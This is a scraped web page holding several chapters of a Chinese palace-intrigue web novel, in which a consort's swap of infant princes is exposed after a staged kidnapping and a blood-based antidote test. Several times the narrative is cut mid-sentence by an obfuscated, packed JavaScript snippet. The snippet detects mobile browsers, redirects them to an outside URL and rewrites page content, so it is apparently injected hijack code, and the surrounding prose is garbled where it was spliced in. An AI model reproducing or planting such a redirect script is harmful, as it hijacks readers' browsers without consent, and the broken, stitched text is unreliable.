陈嬷嬷进来,看到摇摇欲坠的她,赶紧上前将她扶住,“娘娘,您怎么了?奴婢这就为您叫御医……” 澜贵妃抓住她的手腕,努力地找回自己的声音,“不……不用……” 陈嬷嬷扶她去简陋的木板床上坐下,又倒了一杯清水给她。 澜贵妃双手捧着杯子,心悸中双手止不住抖动。 “娘娘?”陈嬷嬷从未见过她这般模样,不由地紧张问道,“方才皇上对您说什么了?” “嬷嬷,本宫是不是做错了?”澜贵妃看着她,目光充满了懊恼和不安,“本宫原以为对太子好,会深受皇上赞许,深受群臣拥戴。可为何皇上对本宫会越来越没耐心、越来越厌恶?他甚至说本宫不配为后!本宫把他人的儿子视作亲生骨肉,对自己的儿子冷漠,难道还不能彰显本宫的贤良大德吗?如果皇后在世,她能做到把本宫的儿子视如己出吗?” 陈嬷嬷闭着眼深吸了一口气,“娘娘,您还是别胡思乱想了,别伤了身子。” 现在说这些已经晚了。 何况娘娘假设的事根本就不成立,因为她不是把别人的儿子视作亲生骨肉,而是太子本就是她的亲生骨肉! 澜贵妃神色黯下,眼中又突然充满了阴狠,“既然我这么多年的苦心都得不到认可,那这一次便做个干净吧!” 陈嬷嬷除了叹息外,一句话都没再说。 …… 另一边靠着溪水的营帐中。 尉迟睿正等待天黑。 只要天一黑,他的麒麟卫便会进山布局。 明日便是尉迟凌和夜时舒的死期…… 初此外,这批随行的官员中还有几位与夜庚新颇有交情,他们自诩保皇派,可背地里对他这个太子心存歧视,他早都看不惯他们了! 这一次他要将这些人全部葬身在望秋山中! 而这些官员一死,负责此次游猎的夜庚新难辞其咎,必受重处! “呵呵!” 一想到这次行动会一箭多雕,能把自己所有的障碍全部拔除,尉迟晟就忍不住发笑。 终于,日落了。 原本在他营帐周围的随从悄无声息的没了影。 他躺在木板搭的榻上,美滋滋地幻想着明日的成果。 突然间,一缕幽香钻入他鼻翼。 他神色骤然一变,立马坐起身。 可这缕香越来越浓郁,他双脚刚踩在地上,还来不及把靴子套上,整个人便不由自主地倒回榻上—— …… 另一处营帐中。 吴钺禀道,“皇上,太子身边乔装成随从的麒麟卫已经入山,并在多处设下了陷阱。” 尉迟晟气得只想拔剑砍人。 “混账东西,他还真敢!” “皇上,避免大家明日入山遭遇陷阱,承王殿下决定今夜动手。” “嗯!”尉迟晟咬着牙道,“那畜生,就该早点让他吃些苦头!” 这一夜,忙活的人不少。 天快亮的时候,一道惊呼声划破长空,将睡梦中的人全部惊醒—— “太子殿下被人劫走了!” 尉迟晟正在齐绥服侍下穿衣,就见澜贵妃激动地闯进来,带着哭腔喊道,“皇上,太子被人劫走了!您快派人去救他!” 尉迟晟一副没睡醒的样子,沉着脸道,“这是军营重地,何人敢在造次?太子这么大的人了,说不定跑哪处游玩去了,大呼小叫的成何体统?” 澜贵妃将手里的纸条递给他,急声道,“皇上,臣妾没有开玩笑,这是劫匪留在太子营中的!” 尉迟晟接过纸条一看,只见上面写着—— ‘太子与承王都在我手中,想要他们活命,让澜贵妃去西山头交换’ 落款人是华平! 他一脸惊吓,“什么?太子和承王都被抓去了?” 正在这时,夜时舒也焦急不已地跑来,“父皇!父皇救命啊!王爷被人抓走了!” 尉迟晟恼怒地瞪着她,“你没和承王在一起吗?” 夜时舒一脸哭相,“回父皇,儿媳昨夜和华神医在一起……方才听到贵妃娘娘那边的喊声,儿媳去王爷帐中找他,想同他一起去贵妃娘娘那边问问情况,没想到却只看到了这个!” 说完,她也将一张纸条递上。 尉迟晟一把夺过。 两张纸条上的字迹和内容都一模一样。 “这华平不是华湘阁的叛徒吗?澜贵妃,华平抓走太子和承王为何要让你去交换?” 第182章 本宫要你把太子放了 “臣妾……臣妾……”澜贵妃脸色惨白。 夜时舒也一脸不解地望着她,“对啊,母妃,华平为何指名点姓让您去?太子和承王是皇子,关乎着社稷安稳,若是华平要乱国,也该是冲着父皇来才对……”她顿了一下,赶忙向尉迟晟解释,“父皇,儿媳并没有盼着您出事的意思,儿媳只是分析华平的动机,失言之处还请父皇恕罪!” 尉迟晟没有搭理她,立马唤来吴钺,“传令下去,所有官员及游猎参赛者,不得离开营帐入山!” “是!”吴钺领命后快速退下。 他刚出去,夜庚新便带着夜时珽、夜时竣匆匆赶来。 “皇上,听说太子出事了?” “你们来得正好!”尉迟晟指着他们父子三人怒斥,“这望秋山是你麾下将士驻扎的地盘,为何会把歹人放进来?” 夜庚新带着两儿子跪地请罪。 夜时舒红着眼哽咽说道,“爹,那华平还把王爷也抓走了!” 夜庚新惊骇不已,“什么?他连王爷都抓去了?王爷与他有何仇怨?他为何要抓走王爷?” 夜时舒朝澜贵妃的方向看了一眼,开始掉眼泪,“华平说要母妃去西山头换太子和王爷,也不知母妃与他有何过节?” 澜贵妃身体都开始颤了起来。 当然,最大的原因就是被她气的! 她不多嘴没人把她当哑巴! 为转移注意力,她也跪在尉迟晟面前,哭求道,“皇上,求您救救太子和承王吧,他们可不是有事啊!” 尉迟晟将那两张纸条举起,怒道,“你没看到这上面的字吗?那人要你去!朕不管你与那**是何关系,朕要你无论付出什么代价都要把太子和承王救回来!” “这……”澜贵妃差点瘫地。 “怎么?难道你不愿意去救他们?”尉迟晟难以置信地问她,“一个是你从小疼爱的太子,一个是你亲生子,他们于你而言都是最重要的人,你难道想眼睁睁看着他们被歹人加害?” “不……不是的……”澜贵妃完全不知道自己要如何解释,只能不停地摇头。 “夜卿!”尉迟晟冷冽地朝夜庚新下令,“华平在此出现,你监管不力,现在朕命令你随澜贵妃去西山头救回太子和承王,若他们有何意外,朕饶不了你!” “是!臣就是拼了性命也要救回太子和承王!”夜庚新沉声应道。 澜贵妃原本想的是让尉迟晟去西山头救人,毕竟那两个都是他的儿子。 如果太子能说服华平把尉迟晟和尉迟凌除掉,那太子便能顺理成章地继承皇位…… 如果让她去,毫无作用不说,说不定还会让华平把之前的事吐出来。她不怕别的,就怕让人知道他们之前让华平去皇陵捕杀尉迟晟和尉迟凌夫妻一事! 可现在尉迟晟都如此下令呢,她还能说什么? 只能硬着头皮去西山头! 待他们出发后,夜时舒给齐绥使眼色,示意他把陈嬷嬷带走。 然后她抹掉眼泪,小声催促尉迟晟,“父皇,我们也赶紧跟上吧,别错过好戏了!” 尉迟晟神色严肃,目光严厉地瞪着她,“这是你的主意,要是办砸了,朕第一个治你的罪!” 夜时舒干笑。 若是办砸了,她就让澜贵妃和太子直接从这世上消失! 反正要治她的罪不是么,那她就顺便把他们母子带走,给她男人扫清道路! …… 西山头。 前面是参天大树、密林成荫,后面是悬崖峭壁、深不见底。 夜庚新带着澜贵妃以及数十名将士爬了半个时辰才到。 此时天已经放亮了。 将士们在密林里搜寻了许久,总算在密林边靠近悬崖的地方发现了太子和承王。 然而,没有人敢冒然上前。 因为太子和承王被人悬吊在一棵大树上,且两人垂着头,完全没一点反应,一看就是中了道在晕迷中。 而在他们身下,站着一个戴着银质面具的男子。 对方肩上扛着一个剑,那剑光锋利得刺眼。 “你好大的胆子,竟敢劫持太子和承王!你不是让本宫来吗?本宫现在来了,现在命令你把他们放了,本宫还能向皇上求请饶你一命!”澜贵妃怒指着他,很有气势地威胁。 面具男用着变过的嗓音发出鬼魅般的笑声,“澜贵妃,你知道我为何要抓他们吗?” 澜贵妃怒问,“你到底想做什么?” “你之前让我去皇陵刺杀皇上和承王,险些害我丢了性命。我现在成了过街老鼠,不但皇上派人追捕我,就连华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159684|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湘阁都对天下发了追杀令。可你们只图自己安逸富贵,完全不管我的死活,你说说,我能不来找你们吗?” 夜庚新和众将士纷纷望着澜贵妃,每个人脸上都布满了震惊。 “你!你血口喷人!”澜贵妃没想到他是真敢把之前的事说出来,顿时气得满脸扭曲。 面具男冷哼,“你不承认就算了,反正我今日的目的也不是要你承认。”他用锋利的长剑指了指头顶上悬吊的太子和承王,憎恨道,“我被你们利用完就抛弃,这口恶气我必须得出!今日,他们兄弟二人必须死一个,你选吧,让谁死!” 澜贵妃整个人都僵了。 面具男手中的长剑突然架在尉迟睿脖子上,邪笑道,“你应该会选承王才对,毕竟承王是你的亲生子。正好,上次皇陵的事,太子弃我于不顾,我今日之所以走投无路,也是‘托了他的福’!” 闻言,澜贵妃一下子激动起来,“你敢伤他半分,我定要你不得好死!” 面具男偏着头望着她,似是不解,“不让我杀太子,难道要我杀你的亲儿子?” 说完他把长剑换到尉迟凌脖子上。 澜贵妃阴沉着脸没说话。 这下换夜庚新激动了,对澜贵妃喊道,“贵妃娘娘,承王可是你的亲生子,你怎能放弃他?不行,无论如何也要保住承王,我女儿可不做寡妇!” 澜贵妃恶狠狠地瞪了他一眼,“太子是储君,他的生死关乎着社稷安稳,你身为一品将军,不懂这个道理吗?” 夜庚新不服气地道,“可他也是你身上掉下来的肉,你能眼睁睁看着他成为别人的刀下魂?” 澜贵妃咬着牙道,“承王忠厚仁义,少时从军就有以身献国的决心,如今他为了太子牺牲,我身为他母妃,只会为他骄傲!” “你有问过承王的意思吗?你怎知道承王会为了太子牺牲自己?” “他是我儿子,我既然生了他,就有权利决定他的生死!” “你简直不配为人母!” 眼见二人吵得不可开交,面具男忍不住吼道,“吵什么吵?信不信我把他们两个都杀了!” 澜贵妃已经被夜庚新激怒,生怕他左右了面具男的主意,便指着太子,气势凌厉地道,“本宫要你把太子放了!” 第183章 必须生母的血作药引 面具男抬头看了一眼,本来架在尉迟凌脖子上的长剑又转到尉迟睿脖子上,冲澜贵妃笑道,“我还以为你会选择承王,没想到你竟会放弃亲生子选择太子?也难怪夜大将军会说你不配为人母,还真是啊!” 澜贵妃端庄的容颜已彻底扭曲。 面具男前一刻还在笑,下一瞬嗓音陡然变得凶狠,“既然太子更重要,那我就把承王放了!澜贵妃,你想要太子性命,拿一万两黄金来换!我现在被追捕,全是因为帮你和太子做事造成的,我不好过,你和太子也休想好过!” 澜贵妃一听他要求,也顾不上什么形象了,如同泼妇附体,指着他大骂,“本宫现在去哪里给你拿万两黄金?你要胆敢伤害太子,本宫定叫你**万段!” “哈哈!”面具男狂笑,用剑挑了尉迟睿头顶的玉冠,待那一头墨发如杨柳倒垂时,他手中的利剑猛地一划拉,只见尉迟睿的墨发瞬间短了一半。 “住手!本宫不许你伤他——”澜贵妃激动地吼着,并要朝他扑过去。 只是她刚跑出一步,一名身着戎装的副将就将她抓住,紧张喊道,“贵妃娘娘,您可别冲动啊!” 澜贵妃非但没感激他,反而回头恶狠狠地骂他,“你们这些废物,还杵着做什么?还不快去救太子!” 副将沉着脸。 夜庚新忍不住开口,“放她去!看她是否能救下人!” 闻言,副将松手。 澜贵妃脸色青白交错,转头指着夜庚新怒骂,“你这该死的东西,罔顾太子性命不说,还想让本宫去送死,你给本宫等着,待救下太子后,本宫定要让你好看!” 夜庚新不服气地道,“他答应放了承王,也同你谈了条件,只要万两黄金便放了太子。澜贵妃若是真想救人,那就赶紧去准备黄金!” 澜贵妃微愣,再瞪向面具男时,怒火不由地收小,“华平,你等着,我这就让人准备黄金!” 面具男手中的剑抵紧了尉迟睿的脖子,满眼杀气地瞪着他,恶狠狠地道,“我现在不要黄金了,我只要他的命!” 澜贵妃脸色唰白,就在她怒火飚得比之前更盛时,只见夜时珽和夜时竣兄弟俩从悬崖边的草丛里探出头。 不止她看到了,夜庚新和将士们也都看到了。 兄弟二人是顺着崖边一点点靠近面具男的。 避免面具男发现,夜庚新假装和他谈条件,“华平,有什么事咱好好说,你若真杀了太子对你也没有一点好处,还不如平心静气地谈谈,该和解和解,你说是不?” 面具男立马扯开嗓门怒吼,“谁要跟他们和解?他们俩卑鄙下作,利用我去皇陵刺杀皇上和承王,得知我没有得手后,连我的死活都没问一句,害得我被追捕,过得连丧家之犬都不如!这口恶气,我若不报,我死都不瞑目!” 澜贵妃气急败坏地吼道,“你血口喷人!你到底是谁的人?谁指使你如此污蔑本宫和太子的?” 就在面具男情绪越发激动时,一道破空的声音从他身后传来,他惊恐不易地回头—— “唔!” 夜时珽手中射出的飞镖刺进他手臂,痛得他一下子抛掉了手中的利剑。 眼见兄弟要对他出手,面具男捂着受伤的手臂,不甘心地冲他们嘶吼,“你们两个浑蛋,我不会放过你们的!” 吼完,他在众目睽睽之下飞身跃下山崖—— 澜贵妃气急地跑过去,指着崖下对夜时珽和夜时竣吼道,“你们还不赶紧追下去!” 夜时珽充耳不闻,径直走向尉迟凌,先倒挂在树上的他解救下来。 夜时竣瞥了一眼深不见底的崖下,回她,“贵妃娘娘如此护着太子,理应先跳下去替太子报仇才是。” “你!”澜贵妃怒目圆瞪。 夜庚新和将士们也纷纷围上来,把尉迟睿解救了。 澜贵妃见状,奔到尉迟睿身旁,焦急不已地唤道,“太子!太子醒醒!” 至于旁边在夜时珽怀中的尉迟凌,她连多看一眼都没有。 尉迟凌和尉迟睿都没有一丝反应,好在二人还有呼吸,夜庚新立即下令,“快把太子和承王送回营帐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159685|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 因为华平出没的原因,尉迟晟下令让所有人安分地待在营帐里,不许任何人跑出去添乱。 尉迟睿和尉迟凌被送回营帐后,随行的御医第一时间为他们检查身体。 只是把了许久的脉,他都没把出任何异样,“皇上,太子和承王脉象正常,想必要不了多久便会苏醒。” 夜庚新皱着眉道,“只是简单的昏迷吗?从西山坡回营帐,路途颠簸,如果他们只是普通的昏迷,应该早就苏醒了!” 御医道,“将军,下官仔细瞧过,真没有看出太子和承王有何异样。” 尉迟晟沉着脸道,“据华神医说那华平曾是华湘阁的弟子,他虽被师门除名,但身怀异术,他能把太子和承王抓去,绝不会只让他们晕迷!来人,传华芯华神医!” 不多时,顾思沫来到营帐中。 为尉迟睿和尉迟凌把完脉后,她向尉迟晟回话,“启禀皇上,太子和承王看似无症状,实则中了一种罕见的**。如果此药不解的话,他们会一直晕睡下去,直到虚饿而死。” 澜贵妃急声道,“那你还不赶紧拿解药出来!” 顾思沫扭头回她,“贵妃娘娘,华平曾是华湘阁弟子不假,但他早已被华湘阁除名,他在外的一切皆与我华湘阁无关。还请贵妃娘娘慎言,别把民女说的好似是他同伙。” 尉迟晟扭头怒斥,“华神医自有主张,你插什么嘴?” 澜贵妃被噎得有些难堪。 顾思沫不再理会她,又对尉迟晟说道,“皇上,实不相瞒,太子和承王所中的**民女知道是怎么回事,只是解药让民女为难。特别是太子,民女无能为力。” 澜贵妃一听,又忍不住激动,“你说的这是什么话?既然你知道是怎么回事,为何对太子无能为力?” 顾思沫不得不又看向她,颇无奈地叹了口气,“也不知道华平与太子有何过节,仿佛存了心要置太子与死地。那种**虽然能解,可必须要他们生母的血作药引,太子的生母闵皇后早已仙逝,自然就没药引救太子。” 第184章 太子是你的亲生子? “什么?要生母的血作药引?”尉迟晟惊诧不已,随即朝澜贵妃怒问道,“平日里是你在管教太子,你告诉朕,太子如何把人得罪了?” “臣妾……臣妾……”澜贵妃不但面上慌乱,心中也是惶恐到无以形容。 “皇上,臣有话要说!”夜庚新一脸严肃地开口。 “你要说什么?”尉迟晟转头问他。 夜庚新随即便将面具男与澜贵妃的对话全部转述给他听。 听完,尉迟晟不敢置信地瞪着澜贵妃。 下一瞬他忽地扬起手,一巴掌狠狠扇向澜贵妃—— “来人,把澜贵妃拿下!” 随着他低吼,旁边候着的吴钺快速上前,拔除腰间长刀就架在澜贵妃脖子上。 澜贵妃扑通跪地,惨白着脸呼道,“皇上明鉴,臣妾和太子是冤枉的,那都是歹人的污蔑之言!” 尉迟晟冷哼,“污蔑?那他为何不污蔑别人,要污蔑你和太子?” 澜贵妃抬手指向顾思沫,“皇上,臣妾有理由证明,那**太子和承王的人是同她一伙的!” 顾思沫一听,也朝尉迟晟跪下,“皇上,民女不敢!” 澜贵妃怒骂,“你有什么不敢的?你仗着有华湘阁撑腰,连丞相夫人都敢谋害,现在为了帮承王对付太子,故意作了这么一场戏,既污蔑太子和本宫弑君,同时还让失去生母的太子无药可解!” “皇上,民女没有。”顾思沫没有强辩,只继续平静地回道。 “你没有?那本宫现在就用血给承王做药引,若是承王醒不过来,是不是就能证明你所说的一切都是欺君之言?”澜贵妃咬着牙道。 顾思沫抬起头,平静地目光突然布满了坚定,“皇上,民女敢用整个华湘阁作担保,民女所说的解药之法绝对有效,如果澜贵妃的血无法让承**醒,那只能说明澜贵妃并非承王生母,而非是民女的方法无效!” “你!”澜贵妃气得浑身都颤抖起来,一张脸也铁青得仿佛要**,“你这个妖女,竟敢在皇上面前胡言乱语!” “够了!”尉迟晟怒吼,目光凌厉地瞪着她,“你没看到华神医在想办法救治太子和承王吗?你这般失态做何?朕就在这里,还有数万将士在此守护,华神医若信口雌黄,她插翅也难飞!倒是你,还没有让你取血救治承王,你如何就言之凿凿地断定华神医欺君?” 澜贵妃突然哭了起来,“皇上,你难道还没看出她有问题吗?是她说太子和承王要用生母的血作药引才能苏醒,也是她说如果臣妾的血救不醒承王并不是承王生母,这好赖的话都让她说完了,你叫臣妾如何做?” 尉迟晟怒道,“当务之急是先救人!”随即他朝吴钺下令,“拿碗来,取血!” 吴钺收起长刀,让人取来一只碗后,又从身上拿出一把**递给澜贵妃,“贵妃娘娘,请吧。” 澜贵妃别开脸,只把手腕递出。 见状,吴钺只得亲自动手。 不多时,小半碗血呈到顾思沫面前。 顾思沫接过碗,对尉迟晟说道,“皇上,给民女一刻钟,民女还需调制几味药,配合血水让承王服下才有用。” 尉迟晟摆了摆手。 顾思沫端着碗退下了。 澜贵妃跪在地上,用手绢压着手腕的她不知道是因为取血疼的还是别的原因,整个人都不受控制地颤抖。 那面色更是死一样的白,任谁看了都觉得夸张。 但帐里的人,谁都没有再说话,所有人都在沉默地等待顾思沫回来。 一刻钟后,顾思沫端着碗返回帐中。 只是碗里鲜红的血水变成了褐色的糊糊。 她径直走向尉迟凌,并请夜时舒帮忙掰开尉迟凌的嘴,用勺子舀了一勺糊糊送进尉迟凌嘴里。 所有人包括澜贵妃都紧紧盯着尉迟凌的反应。 可惜,尉迟凌什么反应都没有。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164182|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>顾思沫盯着碗里的糊糊,一脸不解地道,“不该啊!医书中就是如此教的,承王服下解药应该立即苏醒才是!” “皇上!您瞧见了吧?华神医她说谎,她根本没办法救醒凌儿!您赶紧让人把她拉出去砍了!” 就在她望着尉迟晟哭嚎之际,夜时舒和顾思沫一边交换眼神一边快速到尉迟睿脑袋边,把一勺糊糊送进尉迟睿嘴里—— 澜贵妃察觉到众人视线移动,转头看去,瞬间发出一声尖叫,同时拼了命般朝尉迟睿的方向扑去! “你们干什么?滚开!” 就在她疯狂拉扯夜时舒和顾思沫时,神奇的一幕发生了。 只见尉迟睿突然间睁开了眼。 眼见营帐中挤满了人,他坐起身,不解地问道,“发生何事了?” 顾思沫手中的碗突然滑落,震惊不已地道,“贵妃娘娘……太子是……是你的亲生子?!” 帐中,所有人无不瞪大了双眼。 尉迟晟激动地过去,一把抓住澜贵妃的胳膊,怒不可遏地问道,“澜贵妃,你给朕说清楚,太子究竟是谁生的?” 澜贵妃不止身子哆嗦,连双唇都哆嗦着,眼中恐慌的神色再难掩饰。 “皇上……臣妾……臣妾……” “太子是你的亲生子,对不对!”尉迟晟咆哮问道。 面对他**般的气势,澜贵妃哪里还敢狡辩,随即又朝他跪下,终于承认了,“皇上恕罪……臣妾不是有意要隐瞒您的……” 尉迟晟附身抓住她的衣襟,满身杀气地怒道,“你调换了皇后的亲生子,这叫隐瞒?” 尽管早就有了答案,可在这一刻亲耳听到她承认时,他还是被真相冲击到了! 他就说,太子各方面的资质是如此的平庸,如何能堪当大任? 明明承王才是澜贵妃的亲生子,却澜贵妃却把太子视若己出。原来不是她什么大仁大德,而是太子才是她的亲生子! 第185章 你可愿他做太子? “皇上,臣妾是有苦衷的!”澜贵妃急声解释,“当年皇后分娩,生下的是死胎,臣妾与皇后情同姐妹,不忍她知道真相,于是便把自己的孩子抱去她身边,然后从宫外捡了一个孩子当作自己的孩子……皇上,臣妾也是好心啊!” 她这一番解说,再次让帐里的人瞠目结舌。 一直没出声的夜时舒怎么都没想到,在这个时候了,澜贵妃竟然还能否认尉迟凌皇子的身份! 她为了保全自己的亲儿子,可真是不择手段啊! 尉迟晟放开她衣襟,下一瞬抬起一脚朝她心口狠狠踹了出去。 澜贵妃惨叫着仰倒在地。 “娘娘!”尉迟睿惊呼着下床,飞奔至她。 尉迟晟负手而立,天子的威仪加上愤怒的杀气,让夜庚新带着帐内的人纷纷跪下。 看着狼狈至极的澜贵妃,尉迟晟咬着牙道,“当年方济大师在世时曾批过我大邺国的国运,将来能让我大邺国国运昌盛之人必是嫡出长子。慕容澜,你应该是偷听到朕与方济大师的话,所以才做下这偷梁换柱的事,对吗?” “在皇后仙逝时,你打着与皇后情同姐妹的旗号,一边料理她的身后事,一边清除皇后身边所有的人。朕派人去查过他们,死的死,失踪的失踪,撇开那些失踪的,单说那些死去的宫人,竟是诡异地同年同月丧命。” “而这些年,你对太子的好,好在让人发指,可你却沉浸在其中浑然不觉。你是不是觉得自己关照、疼爱他人之子,全天人都该称赞你?你这二十几年的所作所为,不会连自己都感动到了吧?” “到现在,你即便承认了太子是你亲生子,可你死性不改,还要否认承王皇子的身份。你是觉得朕被蒙骗了二十多年,还能继续被你蒙骗下去?” “咳咳……”澜贵妃被尉迟睿搀扶着坐起,但心口一痛,刚想说话的她猛然喷出一口气血气。 “娘娘!”尉迟睿抬头望着尉迟晟,激动地道,“父皇,事情都已经发生了,您现在责备娘娘还有何用?你发再大的火,也不能让皇后生的死胎复活!” 尉迟晟眸孔一紧,上前又是一脚! 这一次踹在尉迟睿肩膀上,把他也踹得仰倒在地。 看着这对恶毒的母子,尉迟晟咆哮着下令,“吴钺!把他们押回城!打入死牢!直到老死!” 澜贵妃和尉迟睿都僵硬地张着嘴,不敢置信地望着他,仿佛听错了。 “是!” 谁都没见过帝王如此动怒,特别是作为御前侍卫统领的吴钺。随即召唤手下,几近粗鲁地把澜贵妃和尉迟睿扭押住。 澜贵妃回过神,一边挣扎着一边扯开嗓门嚷道,“皇上,您不能这样对太子,他现在可是您钦封的太子啊!” 尉迟晟铁青着脸,凌厉地回她,“立长立嫡,他既不是嫡子、也不是长子,朕定会废了太子之位另立储君!你如果还想让他颠覆我大邺国江山社稷,朕不介意送你们母子归西!” 这番话何止是冷水泼在澜贵妃头上,简直就是山崩地裂的乱石砸在澜贵妃头上! 她扭曲着脸嘶吼,“你怎么能如此狠心绝情?他可是你的亲骨肉啊!就因为我骗了你,你就连自己的亲骨肉也不要了?” “是!朕不要了!”尉迟晟走到她面前,一字一字溢道,“从你们指使华平去皇陵刺杀朕时,他就不再是朕的儿子,而是弑父杀君的畜生!” “不……不……” “父皇……”尉迟睿原本还想替他们母子求情,听到他这番话,顿时后背发凉,只觉得五脏六腑都冷透了! “押走!”尉迟晟冲吴钺咆哮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164183|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “再让朕多看他们一眼,朕将你们通通砍了!” 吴钺整个人一震,立马给手下使眼色。 侍卫也吓得不行,直接将澜贵妃和尉迟睿打晕,然后抬着他们快速离去! 尉迟睿一屁股坐到木板床上。 那颓然的气息加上笼罩着他的怒火,让营帐里的**气都不敢喘。 毕竟,谁也不知道他接下来会做什么。 突然,躺在另一张木板床上的尉迟凌坐了起来。 “都退下吧,让皇上安静安静。” “是。”齐绥从地上起身,摆着手示意人都出去。 顾思沫也和夜家父子三人离开了。 夜时舒没离开,去到桌边倒了一杯清水,端到尉迟晟面前,“父皇,润润喉吧。” 尉迟晟接过,一口饮尽。 然后看着他们夫妻二人,张着嘴似要说什么,但又仿佛被什么咔了喉咙,一句话都说不出来。 尉迟凌低沉道,“父皇不用为难,儿臣从未想过要与尉迟睿争太子之位。您现在正值壮年,有未成年的皇子以及未出世的皇子,他们都可以栽培,待您将来想退位时再立储君也不迟。” “你说的什么话?”尉迟晟没好气地瞪着他恼道,“事关我大邺国江山的气数,是随便一个皇子就能担起的?你别告诉我,就因为慕容澜的话,你就怀疑自己不是朕的骨肉!” “儿臣不爱权势,从军戍戎也不过是逃避慕容澜的冷漠,这些父皇应该知晓。”尉迟凌嘴角微扬。 他是在笑,但笑中全是苦涩和无奈。 尉迟晟恼道,“让人把陈嬷嬷押过来,她是慕容澜的乳娘,朕要亲自审问她!你们俩在一旁给朕听着!” 尉迟凌抿了抿薄唇,转身出了帐。 尉迟晟扭头看向夜时舒,“你可愿凌儿做太子?” 第186章 让她也去狱中 夜时舒哭笑不得,“父皇,儿媳就是个内宅妇人,这哪是儿媳能妄议的?” “可凌儿只听得进你的话!” “呃……那是王爷脾气好,不喜欢与儿媳计较。” “他脾气好?”尉迟晟冷哼,“这话你自己信吗?” “……”夜时舒低头沉默起来。 说实话,她觉得她男人脾气是真的好,有耐心、有善心、有同情心…… 当然,对方得是良善之人才行。 要是作恶多端的、心机深重的、见利忘义的人,那下场她就不知道了。 不多时,尉迟凌带着齐绥进来,身后跟着两名侍卫,侍卫一左一右架着陈嬷嬷。 不等侍卫把陈嬷嬷推到尉迟晟面前,陈嬷嬷便挣开侍卫的手,主动扑跪在尉迟晟面前,哭着哀求道,“皇上,贵妃娘娘不是有意要把自己的亲生子换到皇后娘娘身边的,都是奴婢出的主意,贵妃娘娘只是听从了奴婢的话才犯此大错,皇上若是要处罚就处罚奴婢吧,恳请皇上看在贵妃娘娘陪伴您多年的份上饶恕她!” 尉迟晟‘呵呵’冷笑,“你这是要替她顶罪?” “皇上,奴婢不是要替贵妃娘娘顶罪,那本就是奴婢出的主意,奴婢才是那罪大恶极的人,您不能冤枉了贵妃娘娘啊!”陈嬷嬷继续哀求。 “陈嬷嬷如此忠心,朕应该问不出什么了。既如此,那都处决了吧。”尉迟晟随即便向吴钺下令,“传朕旨意,明日午时三刻,将贵妃慕容氏以及其亲生子、还有陈嬷嬷一并押到东城门,当众凌迟!” 闻言,陈嬷嬷脸色大变,哆嗦得惊呼,“皇上……皇上您要问奴婢什么?皇上,求您放了贵妃娘娘和太子,您想知道什么奴婢都说!” 尉迟晟眯着眼,继续冷笑,“在你交代一切之前,朕不妨告诉你,今日的一切安排都是朕授意的,目的就是为了让慕容澜亲口招认太子是她的亲生子。 “既然朕敢做这一切,那朕的手中自然掌握了慕容澜调换皇子的证据。朕也没想过要把你们都处死,但你们主仆真是冥顽不灵,死到临头还想巧言强辩。” “既然你们都以为朕好骗,还想一直欺君下去,那说明你们对皇位还存有野心。既如此,那朕也没必要再留你们了,反正你们说与不说,都是死罪,不是么?” 陈嬷嬷听完,彻底慌了,连磕了两个重头,哭着说道,“皇上,奴婢愿招……是澜贵妃听到了您与方济大师的话,要选嫡长子做太子,所以才动了调换皇子的心思……” “那日皇后娘娘早几个时辰先诞下承王,但皇后娘娘体力不支昏睡了许久,贵妃娘娘便让奴婢抱着太子去看皇后娘娘,奴婢找到机会后,就将两位皇子的襁褓给换了,然后抱着承王回了澜霞宫……” 尉迟晟再次发出冷笑,“如此说来,承王真是皇后所出,并非她从宫外捡来的?” 陈嬷嬷猛地僵住。 那惊诧的老眼中很明显地浮出一丝懊悔之色。 可再懊悔又如何? 她已经招供了,再反悔说承王不是皇后所出,谁还能信? …… 此次游猎还没正式开始便终止了。 浩浩荡荡地队伍带着震撼人心的消息返回。 得知太子才是澜贵妃的亲生子,而承王是闵皇后所出的嫡长子,朝野哗然,一日功夫便传遍了整个京城。 